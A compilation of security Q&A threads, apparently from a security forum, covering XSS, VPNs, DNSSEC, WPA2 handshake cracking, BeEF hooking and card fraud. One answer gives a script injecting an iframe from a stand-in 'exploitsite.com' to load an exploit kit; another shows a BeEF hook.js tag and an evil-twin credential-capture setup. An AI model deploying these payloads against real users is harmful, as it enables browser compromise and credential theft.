A XSS attack is not possible if the web site return a JSON using the Content-type: application/json header. Why? Because a JSON is just a string, so it doesn't matter if your site returns{123 : alert('blablabla')} because that's just a string.

On the other hand, a XSS works because the client interprets the response HTML, so that's why ZAP is detecting the XSS when you a returning a HTML instead that the JSON.


Known security vulnerabilities in JBoss 4.x.x? We just had a breach of one of our servers, where an intruder got access using the JBoss account and started running exploit scripts. The server has been taken offline and is being investigated, but I'm curious about how he got in.

Are there any know vulnerabilities in JBoss 4.x.x that would allow an intruder to run a shell script through that account?

There is this JBoss Application Server Remote Exploit (CVE-2010-0738) that was published recently.
The exploit works for JBoss running on both Linux and Windows platforms, when the exploit is successful it will return a command prompt or a shell to the attacker.


How to identify which root CA does the client certificate use? How can we identify which root CA client used when there are multiple root CAs on the server?

We can compare the public keys of the client certificate and the root certificate but if we have many root certificates this is an unnecessary overhead.

Is there any way to find out from the client certificate (x.509) which root CA (alias) is used?

Edited to add this clarification:

if the intermediate certificates in the certificate chain are not available/accessible and if the same CA issued all the multiple root certificates(e.g. different tenants), is there any other approach to match the incoming client certificate to the corresponding root certificate on the server?

Yes.  The Issuer field in the x509 certificate is used to specify the Subject of the next certificate up in the certificate path.  If you continue to recurse up the certificate chain, you'll eventually arrive at the Subject name of the root certificate.


How you can trust your Router to not steal your private IPSec keys? I would like to connect to my VPN using IPSec protocol.
For that, I need a router or any other device that support it.

I found this on eBay:
https://www.ebay.com/itm/IPsec-VPN-server-military-secure-design-for-dummy-better-performance-now-/142000661040

The question is: How can I trust this device that it is not stealing my private keys, or doing MITM attack?

How can I trust this device that it is not stealing my private keys, or doing MITM attack?

Trusting is easy: just do it.

Way more complex is not to blindly trust this device but to find actual arguments why you should trust or why you should not trust it:

Is this a reputable vendor, do others you trust have experience with this vendor?
Does the product work as advertised and does not have it any back doors? Do others you trust have experience with this product?
Are the specifications of this product open, are you able to understand these and are you able to check that this product is build according to these specifications without anything harmful added?

If you cannot answer these questions then you probably either need to trust the product blindly or you need to trust anybody blindly which claims here that this product can be trusted.

Apart from that, I find a device which gets advertised as "IPsec VPN server, military secure, design for dummy! better performance now" very suspicious. What is this "military secure" in the first place? It probably does not mean EMP resistant. Instead it probably only says that it uses the same established encryption algorithms which your browser uses too when you visit HTTPS sites - only that "military" sounds better. If somebody needs to base the selling of his product on such exaggerated claims I personally would not really trust this product much.


If I use a VPN, can an enterprise proxy insert itself in the middle? I'm using the guest Wi-Fi at a large corporation, and connecting to a commercial VPN provider via the OpenVPN client.  I do not know one way or another if a proxy is used on the guest wi-fi, but I know that a proxy is used on the main network.  I noticed that a particular website was timing out.  I'm not sure why, but I immediately thought that somehow a proxy had inserted itself into the mix.  Looking around, I found an old question where the answers said "too bad so sad".  However, that was 6 years ago, and certainly a lot has changed.

Is it possible for Windows 10 to silently connect to a proxy, even if I am running an OpenVPN client and connecting to a commercial VPN provider?  If so, would the proxy have any control or visibility into what my web browsing was?

It's my understanding that the VPN should go through or around the proxy and therefore the proxy should only see encrypted traffic to the VPN provider.  However, enterprises typically have ways to break the rules by throwing lots of money at the problem.  However, a transparent SSL proxy should require a custom certificate or root store to be added to the PC, which I have not done, nor was prompted to do so.

The answer is simple, although there are some items to clear up:

Yes, a proxy can put itself in the middle, and if you are using a network at a large corporation, it's virtually guaranteed that there are servers (aka proxies) between you and the internet.  There is always someone between you and the internet.
However, that doesn't mean that the proxy can intercept your VPN traffic.  Intercepting your traffic is impossible unless you installed their root certificate on your machine (which you didn't).
However (again), that doesn't mean that there can't be other ways for them to cause trouble for your attempts to browse the web

To jump to the chase, the most relevant question is whether or not your DNS traffic is going through your VPN.  This question is a good starting place for that.  If your DNS requests are going through the VPN then in general you should be able to browse the internet without issue (although note that there are still other ways that a VPN might leak information about your internet traffic).

However, if your DNS requests are not going through the VPN, then it is possible for the network to detect and block your traffic at the DNS level (which is where pretty much all browser requests start).  Most computers are setup so that they automatically get the location of the DNS server from whoever is providing internet access - in this case, the corporation you are visiting.  If you are using the DNS servers of the corporation, then they can absolutely track the domains you visit and block you from viewing anything they consider objectionable.

Unfortunately, it can sometimes be difficult to make sure your DNS requests are going through your VPN.  Most computers, unless otherwise configured, will check with your ISP (in this case, the corporation) for hints on where to go for DNS resolution.  As a result it is very easy for your ISP to retain control over the DNS requests on your computer. Of course a good VPN should attempt to make sure that all DNS traffic goes through the VPN channel as well, but it isn't always that simple.  DNS resolution can be a complicated dance between your computers networking system and your browser, and just because you installed a VPN, there's no guarantee that all DNS traffic is going through it, especially if any network configuration has been changed on either your computer or browser.  See the question linked above for a starting point.

So, if the "ISP" is handling your DNS traffic, then they can track what domains you visit and block your access.  However, they would not be able to view the actual traffic you send to that domain, including the list of URLs you visit.


What is a secure DNSKEY bit length and usage time? During penetration testing I have seen DNSSEC keys with lengths of 1024 and 512 bits. NIST recommends a key length of at least 2048 bits. So is it correct to assume that these DNSKEY's are unsafe to use? Because 512 bit keys can be decrypted in 30 hours.

Additionally, if a DNSKEY record has a (very) high time to live (TTL) for example a year, how would a high TTL impact DNSSEC security?

Lastly, two questions regarding the same subject:
- If ECDSA is used, how long (compared to RSA) do the keys have to be in order to be secure for DNS record signing (a lower key length)?
- What is the practical risk of a DNSKEY getting compromised?

So is it correct to assume that these DNSKEY's are unsafe to use?

The 512-bit ones definitely, because they can be factored within such a short time frame.

The 1024-bit ones should be safe because they are most likely Zone-Signing Keys (ZSKs) that are rotated once a month or so and getting brute-force cracking time of 1024-bit RSA keys down to less than a month is still very expensive.

  Additionally, if a DNSKEY record has a (very) high time to live (TTL)
  for example a year, how would a high TTL impact DNSSEC security?

When rotating DNSKEY records you first introduce the new key into the zone, wait until every client has fetched the new key and no client has still the old one cached and then you can start using the new key. So if you have a year as your TTL for your ZSK you effectively can only rotate your ZSK once a year at most which is clearly undesirable.

Now if it is your key signing key (KSK) that has this long TTL you should be better off because these tend to use much longer keylengths (long-term secure ones) anyways. But as soon as you want to / have to rotate the ZSK you really want a "short" TTL.

  If ECDSA is used, how long (compared to RSA) do the keys have to be in
  order to be secure for DNS record signing (a lower key length)?

2048-bit RSA keys offer roughly 112-bit security, thus a 224-bit curve (eg secp224r1) has roughly the same security. 1024-bit RSA keys offer roughly 80-bit security and thus a 160-bit curve (eg secp160r1) and for 512-bit keys we have about 40-bit security which would equal to an 80-bit curve size (of which I couldn't find any examples just now). For more details on these conversions, see keylength.com and this Crypto.SE answer. In practice only 256-bit and 384-bit curves are standardized for DNSSEC.

The length of the ECDSA signature is always aboout two times the size of the curve here (encoding the x coordinates of two points). The size of an ECDSA public key is also roughly twice the curve size (unless compression is used).

  What is the practical risk of a DNSKEY getting compromised?

Basically the same as with using no DNSSEC at all, because an attacker can forge records on their way from the authoritative server to potential recursive resolvers or the end user. The only caveat here is that said systems will still think that DNSSEC protects them and thus it will pass eventual "only-DNSSEC validated records) filter.


Ad injection despite VPN According to this Gizmodo article, Evan Greer at Fight for the Future is quoted (or at least given as a source of information) saying that

  ISPs can still install secret traffic software and inject ads into web traffic when a VPN is in place.

I get that if an ISP has installed their own software on your machine, then all bets are off.
But assuming they have not done that, how can an ISP manage to inject ads into a user's web traffic while using a VPN?

[...] how can an ISP manage to inject ads into a user's web traffic while using a VPN?

They can't. A proper VPN tunnel provides end-to-end encryption between you and the VPN provider.

Your ISP has no way of injecting any content into that tunnel. Your request to a plain HTTP site is only unprotected on the way between the VPN provider and the target site.

I find the advice from the article overall dubious. Here is another bit:

  If you really want to keep your browsing habits away from the prying eyes of corporations and the government, Tor is the best bet.

While Tor will keep your own ISP from reading your traffic, the author  ignores (or isn't aware) that there are a lot of nosy Tor exit nodes that monitor traffic themselves. Using Tor for regular browsing will eventually be worse for your privacy than relying on a reputable VPN provider.


Authenticating client without hardcoding key? A basic question, but I'm not a master and this is puzzling me-

How is it possible to authenticate a client from the server's perspective?

i.e. imagine you're the server, and you want to give the client a key, but only if you're sure that the client is really the software you wrote and not someone pretending to be your software so that they can grab the key?

The only solution I can think of is various combinations of hardcoding a private key in the client, or hardcoding a predictable algorithm (i.e. server says "n" and client must say "n*2" back)... but any of this is crackable via decompiling... ?

In case it matters, the client-software needs to be O/S agnostic, i.e. run on windows, mac, linux, android, ios, etc.

It's not possible to authenticate a client in this way. As you correctly point out, it can always be reverse engineered and duplicated. Server authentication only works because the user doesn't have access to the server hardware, and to produce a secure client you must find a way to block the user from accessing the client hardware, which is generally impossible.


Capturing cleartext authentication (EAP-TTLS/PAP) with WPA-2 Enterprise? I am running an evil twin attack with eaphammer, by default it seems to capture mschapv2 authentication which contains the username and NETNTLM hashes. I have manually created a WiFi connection (on Windows) and manually select not to verify CA and to use PAP authentication. When I connect to this new connection, I am able to grab the cleartext password. This is what I want.

My knowledge on wireless communication is limited, but is it possible to force a client to connect to EAP-TTLS/PAP or is this controlled by the client or through client profiles?

Or a better technical question, how is the authentication type controlled?

My knowledge on wireless communication is limited, but is it possible to force a client to connect to EAP-TTLS/PAP or is this controlled by the client or through client profiles?

  Or a better technical question, how is the authentication type controlled?

This is initially controlled by the RADIUS server of the wireless network as it will be configured to only allow certain EAP methods.

Once the wireless network is configured on a client, it will have the chosen EAP method configured in the wirless network profile.

So, if you are getting a client to join a network for the first time, you can offer them whatever you want, however this is not useful when trying to establish a MitM situation as you are generally trying to situate yourself between an established connection between a client and existing network.


What are the security implications of STARTING a reverse proxied origin server as an unprivileged user? A common recommendation as part of web server security is to run the server daemon as an unprivileged user (e.g.: nobody) so that exploits executing arbitrary code may have less unwanted effects. However, since port 80 is a "privileged port" the server must be started as an administrator (e.g.: root) and drop privileges in request serving children.

However, I haven't found any sources that discuss the security implications of having root involved at all when running an origin server on an unprivileged port that is behind a reverse proxy.

Since the port is not privileged the origin server doesn't need to be root to bind. Are there security reasons to start the origin server as root? Why not start the server as the unprivileged user to begin with?

Assume nearly identical configurations where the only difference is that in instance A the origin server is started as root and then drops privileges while instance B is started as the unprivileged user.

The primary reason to start a service as root (which then downgrades to an unprivileged user) is to increase the separation between the service itself and what the service does.

The classic example is opening a privileged port, but there are other similar operations as well. For example, you may want the service to load configuration files which can't be accessed by the "child" service once the service is in operation.

Also, only root can chroot() to a jailed directory or setuid() to another user.


Diagnosing possible svchost.exe thread on Windows 7 I used win64dd.exe to get a memory image on a 64-bit computer running Windows 7 and had Mandiant Redline analyze the image.  One of the things marked red was one of the svchost.exe processes.  Redline says

This process has a module which imports a suspicious Handle: (Process) hkcmd.exe
"svchost.exe has potentially spawned a command shell.  This is abnormal, and may be an
indicator of malicious activity.".

How should I proceed from here?  Is there a way for me to export information about this process and upload it to some website to be further analyzed?

I'm going to have Norton scan the computer and see if it finds anything (besides tracking cookies).

Spawning a shell usually means someone dropped a reverse-shell exploit into your process.

Do a memory dump of the process:

procdump -mp <processID>

This might lead to an unstable system, so save your work and close all apps first.

From there, you can load the dump into WinDbg and analyse it. However, this isn't a trivial process - even setting up WinDbg can be a pain if you've never done it before. If you can upload it somewhere (public dropbox?) I can probably take a look and discover what's going on.


Wordpress: Thousand of mail sent to my site from an unknown user! Site is near to be blacklisted by Google Recently an employee of mine developed a website in WordPress. Things were all fine until we received an email from Google , notifying me that some stuff that can really create security issues is going on in the WordPress site. On checking the FTP, I found an unusual folder there!! I could not delete it or modify it. The permission of the file was with the folder owner,changing which,most weirdly, I did not have permission! So I update WordPress thinking that it would solve the issue. Again, it was fixed for Sometime, but now I am receiving  1000 and more emails from an unknown account. The mail server of the site is over flooded and the client is on fire! I suspect this to be a DOS attack (Denial of service). How can I solve this? Any suggestion would make me indebted. Thank you in advance!!

Take your website down, fix the security problem (that folder didn't come there by accident it was most likely put there through another vulnerability). Check your code for vulnerabilities, anonymous write on your ftp server, places in your code where there is a risk for command injection, SQL injection, etc...

Next install a spamfilter and automatically delete emails coming from that user or blacklist the offending mailserver's IP address.


Can a symmetric key be safely embedded anywhere in a .NET desktop client program Is there a native way, that is, one not requiring the purchase of an expensive third-party obfuscator,  that a .NET desktop client program, deployed to the users' Windows desktops from a LAN server via ClickOnce, can store a symmetric key without running the risk of that key being obtained by someone with a disassembler tool?  Is there a way to protect a string if it is placed in the app.config file?

In such case the application code contains the key and the logic to extract it. An attacker can perform the same steps as the application logic and will extract the key.


Protection against screenshot key loggers I was thinking of creating an on-screen keyboard to protect against keyloggers. The main problem is that I have found that there is a category of keloggers, called screenshot key loggers, which are able to take screenshots of the screen every time the mouse button is clicked.

For this reason, I feel that my approach of creating an on-screen keyboard does not protect against this category of keyloggers. Is there a way of coding the application which does not allow screenshots to be taken, or else alerts the user if these are being taken without his permission?

I am assuming that only the user is present in the room. Therefore, I am not trying to protect against other users from taking photos with their digital cameras. I only want to protect against screenshot keyloggers.

A key logger can log keys, or take screenshots, only by virtue of having extensive access to the operating system, allowing the malware to do basically whatever it wishes to. As such, there cannot be a failsafe way to prevent or even detect screenshots, since the malware would perfectly be able to simply deactivate that check.

At best, you could implement a partial protection against existing key loggers, which will be efficient until keylogger authors adapt their code, which should take about one week. See this answer for some more treatment on the subject.

When hostile code runs on your machine, then it no longer is your machine. This is why payment terminals have their own screen and keyboard: to be immune to attacks on the cash register.


What's the impact of disclosing the front-face of a credit or debit card? There are quite a few cases where people are called out for disclosing the front-face of a credit or debit card (e.g. this tweet from Brian Krebs or this twitter account). So I was wondering what the impact of this disclosure for the card holder is likely to be.

From the front of a card, a fraudster could get the card PAN (16-digit number) start date/expiry date and cardholder name.  Also for debit cards, the cardholders account number and sort code (that may vary by region).

So the question is, what's the likely impact of the disclosure of this information (i.e. what frauds could be committed).

Some initial thoughts I had were :-

Cardholder Not Present transactions shouldn't be possible as the CVV hasn't been disclosed
The card wouldn't be clonable with just that information as there's other information needed for the magstripe.

You don't actually need the CVV to perform transactions, they're just required by most retailers as a means of verifying that you have the physical card in your possession.

From Wikipedia (unsourced):

  It is not mandatory for a merchant to require the security code for making a transaction, hence the card is still prone to fraud even if only its number is known to phishers.

On most EFTPOS systems, it's possible to manually enter the card details. When a field is not present, the operator simply presses enter to skip, which is common with cards that don't carry a start date. On these systems, it is trivial to charge a card without the CVV. When I worked in retail, we would frequently do this when the chip on a card wasn't working and the CVV had rubbed off. In such cases, all that was needed was the card number and expiry date, with a signature on the receipt for verification.


Security risks by hosting a Nextcloud on home PC via virtual server I found this question I want to host a server from my home computer; safe? that indicates that hosting anything connected to the open web on a private is a great security risk. As I am totally new to this topic, I wonder if tunneling the traffic via 6tunnel over a virtual server provided by one of the many options changes anything about security threats and terms of use breach with the ISP. Is that the case?

When you say, tunneling traffic using 6tunnel, you are considering security in transit while when you mentioned use of virtual server, you are considering seclusion of private system and server so private data is considered safe.The hardware to serve both remains the same.

The risk you are not considering is comprise of web app/site and the moment control is gained, attacker will know very easily that the system is hosted on which virtualization technology and try to bypass it to gain hold of underlying system via local network or bypassing virtualization layer. These attacks are not theoretical. Even when you consider hosting your site on docker, you need to take care to make docker secure enough before hosting it on internet. A good amount of administration and care is needed to take such calculated risk.

I can only talk about security threats and have little to no idea about which country you belong to, what ISP are you using and what conditions shall be considered for commenting on breach of use with ISP. I request you to consider doing your risk assessment thoroughly again.


Security consequence of Javascript hole in an online chat? For an online chat that allows basic HTML, what happens if they leave an open way for a potential hacker to execute javascript on everyone who is in the chat?
What is the worst thing they could do?

Create new iframe and load exploit kit inside iframe.

<script language="JavaScript" type="text/javascript">
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "http://exploitsite.com/");
   ifrm.style.width = 640+"px";
   ifrm.style.height = 480+"px";
   document.body.appendChild(ifrm);
</script>

Infect users with trojan horses , use them as bots, steal their money etc...


can an attacker find WPA2 passphrase given WPA key data and WPA MIC Can some one with these two pieces of information get a hold of the psk key, or its a blind attack that can be done using dictionaries or/and word-lists ?
If so please add some resource like a link that i can get further info from.
edit

the key has been changed, all the data hereby is invalid at the time of this post.

WPA2 has three main key types:

Pairwise Master Key (PMK) - the shared passphrase
Pairwise Transient Key (PTK) - a key used for securing communications with individual clients
Group Temporal Key (GTK) - a key used for securing multicast traffic

The PTK is generated from the following data:

Shared passphrase (PMK)
A nonce value generated by the access point (ANonce)
A nonce value generated by the client station (SNonce)
Access point MAC address
Client station MAC address

The SNonce value has its authenticity and integrity provided by a Message Integrity Code (MIC). Strictly speaking this should be called the MAIC, because it provides authenticity as well as integrity.

The above values (excluding the MIC) are concatenated and put through PBKDF2-SHA1, in order to generate the PTK. After this, the AP sends the GTK (and a corresponding MIC) to the client. The PTK and GTK are then used as the encryption keys for further transmissions, for unicast and multicast respectively.

The overall handshake looks like this:

If the attacker captures the PTK, ANonce, SNonce, AP MAC and client MAC values via network sniffing, he can then brute-force the PMK. The MICs do not need to be known, because they does not contribute the PTK value.

Since PBKDF2 is a slow key derivation algorithm, a normal bruteforce would be rather inefficient. A dictionary attack is much more feasible.

Further reading:

WPA2 on Wikipedia
TKIP on Wikipedia
Enhanced TKIP Attacks (PDF)


iOS Mail App Security I have my own domain name and I had some issues with the delivery time. So, I started looking at the mail header to see where my mail was stuck and why. That is not the issue.. While messing around the header file I noticed that the mail header not only contains the device used for the mail but the version of the operating system on my device. Here is the data:

X-Mailer: iPhone Mail (13B143)

13B143 is the code of iOS version 9.1.

Why on earth should anyone know the exact version of my OS? Is there a way to prevent that? Is there an other application more discrete?

I doubt that this can be done in the mail application itself. But since you own your own domain, you might run your own mail server and some allow you to change the mail headers. If you use postfix take a look at header_checks.

But note that mail clients leave more footprints than just X-Mailer. You can also distinguish clients by the other headers, structure of MIME boundaries and much more. It's more complex but possible.


Does using a live CD make you more vulnerable to remote attacks? Some people recommend the use of a Linux live CD for online banking, but doesn't that make you more vulnerable to network attacks since it's not updated?

I tried installing updates and it required me to reboot to complete the process, and doing so would obviously fail.

Potentially, yes. That said, many distributions (e.g. Debian, Ubuntu) run package versions which are extremely out of date (years) with few backported security patches, and most people do just fine. You're also usually only exposed on the network you're immediately connected to, so if you're only using a trusted LAN then it's not so much of a concern.

Personally, if I were particularly paranoid, I'd get hold of a cheap Android tablet and lock it down, and use that as a dedicated banking device. This allows for updates and means you're running a much smaller attack footprint, with less likelihood for compromise (you're not doing general purpose browsing on it) so there's less to worry about.


Should I use SSL on my database server? Say I have a website and a database, both hosted on rackspace.

Since all communication with the database is from the web server and not the internet, is it safe to assume that I do not need SSL like I do for communication that goes from internet to web server?

SSL between machine A and machine B protects against evil people who can access the transport medium between A and B. In your case, you would need SSL if both servers share a network switch (or, worse, a hub) with some other, untrusted machines. Which may or may not be the case, depending on your hosting context. If both machines are connected to your own Ethernet network which is connected to the external world only through your router, then you might assume that communications between the Web server and the database are "physically secure", thus not needing SSL.


Why is forwarding port 80 more insecure than the others? I'm doing an internship in a very little company and I need to configure the network. They have a Cisco router. I couldn't find the logs to login so I called their internet provider. Apparently they configured the Cisco router and doesn't allow customers to configure it. Only them can configure the router when asked.

I need to setup a server that will be accessed from the internet so I asked them about port forwarding (in a first time, before implementing some kind of DMZ later). I know that port forwarding is pretty insecure but temporally, I asked them to forward some port to my server. They accepted all my request, except for port 80 as they told me it was really insecure. Why would forwarding port 80 be more insecure than the others ports?

Forwarding port 80 is no more insecure than any other port. In fact, port forwarding itself is not inherently insecure. The security concern is that it allows services that are normally protected behind some kind of firewall to be accessible publicly. If the exposed service has any vulnerabilities or misconfigurations, it can and and often will be quickly exploited by attackers.

Seeing how a mix of other ports were allowed (notably 21 - FTP and 8080 - HTTP alt/proxy, which don't typically use TLS and could be considered insecure), it seems like the concerns aren't really security oriented, and are fallacious at best. Perhaps there is some business reason they do not want to expose port 80, but there is no valid technical reason I can see to disallow port 80 while allowing other common ports.


How can I get my SSL certificate signed by an CA for web application that runs on localhost I have a web application that runs on localhost. I have a self-signed certificate for tomcat configured but when loading the website on firefox, I get a security exception. Can I get a CA to sign my SSL certificate so that this error is not thrown?

You can create your own CA certificate, add that as a root CA on your machine then use that CA to sign your SSL certificate. http://msdn.microsoft.com/en-us/library/ms733813.aspx

Alternatively, assuming you own a domain name of some form, you could probably create an A record for localhost.yourdomain.com and point it to 127.0.0.1. You should then be able to get an SSL certificate signed for localhost.yourdomain.com, which you can then use instead of localhost (albeit only from your machine).


How did a website make an accurate assumption of my identity in incognito mode? What piece of information can websites retrieve that would allow for later identification without cookies?
Intro Out of interest I jumped into the rabbit hole of online marketing scams. The site I visited* used a system called Proof** to show 'conversions' (cq. signups) to visitors and I was curious if this system could be fooled, since the traffic I witnessed seemed way too high.
Case The Proof homepage made an assumption about my identity even though I visited all these sites whilst in incognito mode. The assumption was pretty accurate: it assumed my identity was the company someone I share my WiFi with works for. Both on desktop as on mobile it printed:
Easily personalize COMPANYNAME website for every visitor.

It even came up with the correct domain name, COMPANYNAME.DOMAIN
It did however fail on Tor, and printed the generic message:
Easily personalize your website for every visitor.

Question How could this site that I've never visited assume my identity almost correctly whilst without cookies?

I am aware of the possibility that this site gathers data through many other (junk) sites about things like browser use, screen size, device use, and location.
However, this information alone is very generic (chrome, desktop) to make a prediction. In addition, I live in a densely populated area and this company does not the biggest employer of the area.
This prediction was just a lucky shot.

What piece of information can websites track that would allow for identification without cookies?
Thanks for reading!
*https://www.bolmasterclass.nl/
**http://useproof.com/
EDIT: It was not my purpose to hide my identity, I am just curious on what data they could make this estimation. The incognito part is just interesting because it doesn't allow for cookie-based predictions.
Everyone's pointing at IP, so I believe my misconception (through sites like IP-lookup & rDNS that are 100 miles off) was that IP was not that specific.

Your IP address might be the reason of this scenario.

Despite your browser history remaining hidden, incognito mode does not improve your security in any other way, if you accept cookies for example, cookies will be stored on your computer and with those you can gather up a lot of information.

Incognito mode is not a complex security feature.

Incognito mode will NOT store your browsing history, but it will not protect your identity.

If you wish to keep your identity or increase your privacy try using duckduckgo browser


BeEF XSS - internal working I am studying BeEf XSS as I think it is a very interesting tool for a penetration tester, but I have a couple of doubts about it, in particular when linking it to Cross Domain Request.

So, in some way we are able to force the the user browser to include the following hmtl tag:

<script src="http://X.X.X.1:3000/hook.js"></script>

The browser does not complain about it, as the src attribute can contain any domain, not just the one that the user is surfing.
Then, as I understand it, hook.js is not opening a port on the client as it is not supported by JS, but it pulls commands doing a XMLHttpRequest from the BeEF server (which is hardcoded in the hook.js).

Then it executes the commands in the browser and send back the result (of course there must be a sort of internal protocol that the BeEF server understands).
The reason it works, is that the BeEF server sets the following items in the HTTP header:

HTTP/1.1 200 OK
Content-Type: text/javascript
Server: Apache/2.2.3 (CentOS)
Pragma: no-cache
Cache-Control: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
Content-Length: 412404
Connection: keep-alive

I sniffed this when trying everything in local, so basically there is the directive Access-Control-Allow-Origin by which the user browser will allow this communication.

Is my thinking correct?

Also, do you know if hook.js can be fetched from server A, but then pointing to Server B? Otherwise, you basically are showing the address of the machine in which the hook.js is hosted and also you must have access to that machine.

You seem to be describing a CORS (Cross-Origin Resource Sharing) attack in conjunction with using the Beef framework. Here is a snippet from OWASP:

  Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)

I do not quite understand the second question but I'm assuming you'd want to host the .js file elsewhere. Here is a rough overview of how it goes:

The victim has to be able to open your site, and the victim browser has to be able to load the .js file. This file contains malicious payloads that when loaded by a victim browser, gives you varying degrees of control and security breaches. The file can be either hosted on your web-server, or it can be hosted externally, on another server.

For example: <script src="http://someotherserviceorwebsite.com/hook.js"></script>

You do not need to have access to that machine - only the file has to be available.

There are a number of free services you can utilize to host your JS file for free.

I hope I understood your question correctly.


Does Windows log desktop application passwords? The other day I logged into Discord on my friend's computer using the desktop application. Does Windows log these events somewhere? Does it store the password hash or some sort of authentication token?

I do not believe Windows stores app credentials by default.  But Windows CAN do almost anything you (or an attacker with sufficient access) tells it to.
I think it is important to distinguish credentials (your password) and session management (access to the application).  These patterns and advice apply to most client-server applications.
Applications are free to implement credential management and session management however (securely) they want.  Many have made mistakes.
"Remember me" functionality is usually session management...  the client computer will store a token that is authorized to resume an existing session (without requiring credentials) on the server computer.
If an attacker can access that client token, they might be able to resume your server session.  If an attacker gets your credentials, they might be able to start a new server session.  Both scenarios are bad obviously.
Multifactor authentication, and not-using-untrusted-client-devices are good ways to protect your credentials.  Secure transmission too obviously.
Session management is tougher, as most of it is invisible to the user, and is implemented many different ways.  If you're worried, usually a password change on the server will invalidate previously created client sessions.
I hope this helps!


How can I find my home network's vulnerabilities when opening it for VPN connections I want to open my home network so I can connect to it via VPN to do things™ while not at home. This concerns me because I am potentially opening doors that I don't know about.

What tools can I use from home/remote to test if my firewall(s) hold up against a fairly standard range of penetration vectors without throwing chunks of money at some white hat hacking company?

I do trust my judgment in configuring the firewall(s) correctly, but I still want to make sure that at least the script kiddie next door won't come barging in as soon as I open the ports for a VPN.

Well, open port does not necessary mean that anyone can enter. If you have an open port on a router/modem with nothing listening behind, then there is nothing to compromise.

Of course, this won't let you work from outside your home either. For this to happen, you have to put the VPN server and make it listen to this open port.

What are the vulnerabilities (most probably not exhaustive) :

a flaw in the router treatment of the IP packets. An intruder sends information with modified content that should have come to the VPN server computer, but instead it got send to a completely different machine (and/or port)
a flaw in the VPN server software. E.g. buffer overflow and such, which could allow someone to send forged packets to execute specific commands, or a failure in the password validation
a human flaw : you wrongfully configured your VPN server so he now accepts anonymous connection instead of rejecting them (for example), or you chose a stupidly-easy password as your credentials (admin/admin, florian/password12)
a flaw in the VPN's protocol, e.g. if poorly designed there could be a way to used wiretapping to recreate an authenticated connection to your VPN.

If you're not a security expert, there are basically no chance that you can find the vulnerabilities by yourself. So what you should do is follow the "best-practices":

use well-known software that uses well-known protocols. If there is a vulnerability, they will most likely be patched quickly and thus minimise the time-frame of your own network vulnerability
use good passwords
do not connect on your home network from computers you can't trust, there could be keyloggers for example
if you are not confident enough to set things up, perhaps you can find someone you trust to do it for you

If you want to test your own security, there are multiple tools dedicated to this (Nessus, metasploit, ...). They are not really "automated" way to assess the security of one's network, you need expertise to define the tests you want them to perform. There might however bundle some "classic" attack patterns.


How big is the risk of hash fixed points/cycles? It's established wisdom to hash password multiple times with a salt to increase the time it takes per brute force iteration. At the same time (unless the algorithm guarantees otherwise) there's a minuscule but non-zero chance of ending up with a fixed point or cycle, whereby (for example)

hash(hash(hash_so_far + salt) + salt) = hash(hash_so_far + salt)

or

hash(hash(hash(hash_so_far + salt) + salt) + salt) = hash(hash_so_far + salt)

etc.

Such identities or short* cycles would be security black holes - more iterations wouldn't mean harder to crack - and an algorithm where such cycles are common would be worse than useless, leading to a couple obvious questions:

Are the mean and median cycle lengths known for common algorithms such as MD* and SHA-*?
Are there useful* algorithms which guarantee that the smallest cycle is the entire output space?

* AFAICT, any useful hashing algorithm (finite output, deterministic) would have at least one "trivial" cycle, when the output space has been exhausted.

Suppose that you have a pseudorandom function with an output of n bits. A good hash function with a given salt ought to behave like a PRF.

The general, average structure of a PRF, with regards to repeated application, is to have one big "cycle": if you hash and rehash repeatedly, you will, at some point, enter a cycle and obtain a value which you already encountered. The average length of the cycle will be about 2n/2. The number of steps you will have to perform before reaching the cycle will be also about 2n/2. Almost all initial values will bring you, ultimately, to this inner cycle. There can be a few initial values which will not lead you to this cycle; there could even be some fixed points (there is a probability of 63.2% that there exists at least one fixed point); but the number of such potentially
troublesome points will be no more, on average, than 2n/2.

To sum up, if n is large enough that a probability of 2-n/2 can be neglected, then things are fine. In particular, if n = 256 (you are using SHA-256), then you can stop worrying. Even with MD5 (n = 128), short cycles are sufficiently rare that they will not imply any actual security issue.

A full-space cycle would mean that your hash function is not a PRF, but a permutation -- and a permutation with only one cycle. Building a one-way permutation is possible, but quite harder than a one-way function for which it seems that you can just throw together some bitwise operations and rotations; for a permutation, you need mathematics (e.g. with exponentiation modulo a non-prime integer) and this will imply some extra trouble (the permutation will be on average one-way, but there may be values for which it will not be).


What is the recomended algorithm to create a key from a password? In my new secret document encryption utility, the key for symmetric encryption = the hash of a random salt and a user provided password.

It is necessary to have a slow hash function in order to prevent brute force on less than optimal passwords. MD5 and SHA1 have proved immensely speedy, so that is obviously not enough. I also do not have high hopes for SHA256.

One options is to repeat the hashing operation an absurd number of times. Due to the vast repetition necessary (100k minimum), I was somewhat concerned about attackers who would know a way of skipping ahead with shortcuts, perhaps using the rho table, or some other means.

Is this 100,000 rehash approach sound, or should I use some other algorithm to create a key from a password and salt?

Obviously I can also require a more complex password, but I think a good goal would be to support the 6 letter, non dictionary variation, even if I do require a whole second of rehashing to perform the unlock. This is an acheivable goal, and I feel it is better to allow shorter passwords if a) that is what the user wants and b) it does not impact security in a significant way.

1. An estimate on how long the hash would take for a <2 Ghz processor is 1 millisecond for every 1-2 thousand repetitions (depending on the algorithm). For 6 letter, non dictionary passwords that need to hold up for 1 year, we would need the key generation to take at least 100 milliseconds.

Some of the popular options for this are PBKDF2, bcrypt, and scrypt. A related answer has plenty of good info. The gist is bcrypt is better than PBKDF2, but either would be fine and secure. scrypt looks promising, but is quite new, and in the world of cryptography, we often default to the tried and tested unless absolutely necessary. See the answer I linked to for attacks against which scrypt is better than bcrypt.


If a system is updated, does that mean metasploit framework cannot penetrate the system? I have been learning about metasploit and it is a framework of exploit and payloads. So what if the system is updated, does that mean those exploits won't work anymore? Can you explain more about it?

Metasploit exploits different classes of vulnerabilities such as buffer overflows (stack, heap etc), default credentials, human weaknesses (such as clicking or downloading a binary executable etc), or interacting with a privileged interface that is not properly protected through authentication. Not every class of vulnerabilities can be mitigated through updates.

However, keep this in mind that updates do provide a real defense against a lot of remotely exploitable vulnerabilities and must be applied as soon as released by the vendor (especially in case of personal systems).


